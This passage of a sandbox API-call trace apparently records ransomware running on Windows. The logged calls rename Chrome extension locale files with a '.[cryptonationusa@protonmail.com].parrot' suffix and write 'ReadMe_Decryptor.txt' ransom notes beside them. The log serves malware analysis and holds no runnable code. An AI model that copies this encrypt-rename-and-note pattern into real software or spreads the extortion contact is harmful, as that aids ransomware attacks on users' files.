Size=0x2c) returned 0x605358 [0062.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0062.048] GetLastError () returned 0x0 [0062.049] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0062.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0062.049] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0062.049] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0062.049] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0062.049] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0062.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0062.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0062.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0062.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0062.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0062.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0062.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0062.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d90f8 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0062.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0228 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0062.050] WriteFile (in: hFile=0x288, lpBuffer=0x5d0228*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0228*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0062.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0062.050] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.051] CloseHandle (hObject=0x288) returned 1 [0062.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d90f8 [0062.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0228 [0062.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0062.052] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0062.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0062.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69cc70 | out: hHeap=0x5b0000) returned 1 [0062.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0062.052] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d90f8 [0062.052] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d97d0 [0062.052] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0062.052] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0062.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0062.053] GetFileType (hFile=0x288) returned 0x1 [0062.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0062.189] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21c, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.189] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.190] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0062.190] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.190] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x104, lpOverlapped=0x0) returned 1 [0062.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0062.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0062.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0062.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0062.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0062.191] GetLastError () returned 0x0 [0062.192] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0062.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0062.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0062.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0062.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0062.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0062.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0062.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0062.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0062.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0062.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0062.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0062.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0062.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0062.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0062.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0062.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0062.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0288 [0062.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0062.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x69f268 [0062.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0288 | out: hHeap=0x5b0000) returned 1 [0062.193] WriteFile (in: hFile=0x288, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0062.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0062.193] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.193] CloseHandle (hObject=0x288) returned 1 [0062.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0288 [0062.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d03c0 [0062.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0288 | out: hHeap=0x5b0000) returned 1 [0062.194] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0062.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03c0 | out: hHeap=0x5b0000) returned 1 [0062.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69cdf8 | out: hHeap=0x5b0000) returned 1 [0062.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0062.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d97d0 [0062.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d98f8 [0062.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0062.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0062.319] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0062.319] GetFileType (hFile=0x288) returned 0x1 [0062.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0062.443] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.443] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.443] ReadFile (in: hFile=0x284, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0062.444] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.444] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe2, lpOverlapped=0x0) returned 1 [0062.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0062.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0062.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0062.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0062.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0062.445] GetLastError () returned 0x0 [0062.450] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d90f8 [0062.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0062.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0062.451] WriteFile (in: hFile=0x284, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0062.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0062.451] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.451] CloseHandle (hObject=0x284) returned 1 [0062.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d90f8 [0062.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0248 [0062.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0062.452] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0062.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0062.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69cf80 | out: hHeap=0x5b0000) returned 1 [0062.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0062.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d90f8 [0062.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3468 [0062.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0062.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0062.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0062.619] GetFileType (hFile=0x284) returned 0x1 [0062.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0062.630] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21c, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.630] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.630] ReadFile (in: hFile=0x284, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0062.631] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.631] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x104, lpOverlapped=0x0) returned 1 [0062.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0062.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0062.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0062.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0062.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0062.631] GetLastError () returned 0x0 [0062.632] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 